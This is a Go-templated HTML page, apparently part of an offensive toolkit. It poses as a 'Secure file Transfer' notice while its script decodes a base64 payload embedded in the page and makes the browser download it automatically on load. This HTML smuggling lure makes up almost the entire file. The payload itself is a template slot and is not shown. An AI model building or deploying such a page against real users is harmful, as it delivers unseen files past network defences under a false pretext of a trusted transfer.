44 lines
1.4 KiB
Plaintext
44 lines
1.4 KiB
Plaintext
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<title>{{ .Title}}</title>
|
|
</head>
|
|
<body>
|
|
<div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">
|
|
<h1>{{ .Title}}</h1>
|
|
<p>Thank you for using the Secure file Transfer!</p>
|
|
<p>Please wait while your File is being prepared</p>
|
|
<p>If your Download didn't work, <a href="javascript:void(0);" id="download">Click here</a></p>
|
|
</div>
|
|
|
|
<footer style="position: absolute; bottom: 0; width: 100%; text-align: center">
|
|
©{{.Year}} <a href="{{.FooterURL}}">{{.FooterName}}</a>
|
|
</footer>
|
|
</body>
|
|
<script>
|
|
// Base64 string
|
|
const base64String = "data:application/octet-stream;base64,{{.Encoded}}";
|
|
|
|
// Convert to binary data
|
|
const binaryData = atob(base64String.replace(/^.*,/, ''));
|
|
|
|
// Create byte array
|
|
const byteNumbers = new Array(binaryData.length);
|
|
for (let i = 0; i < binaryData.length; i++) {
|
|
byteNumbers[i] = binaryData.charCodeAt(i);
|
|
}
|
|
|
|
// Create blob
|
|
const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'});
|
|
|
|
// Trigger download
|
|
const downloadUrl = URL.createObjectURL(blobData);
|
|
// Get the link element by its ID
|
|
const link = document.getElementById("download")
|
|
link.href = downloadUrl;
|
|
link.download = "{{.Filename}}";
|
|
link.click();
|
|
|
|
</script>
|
|
</html> |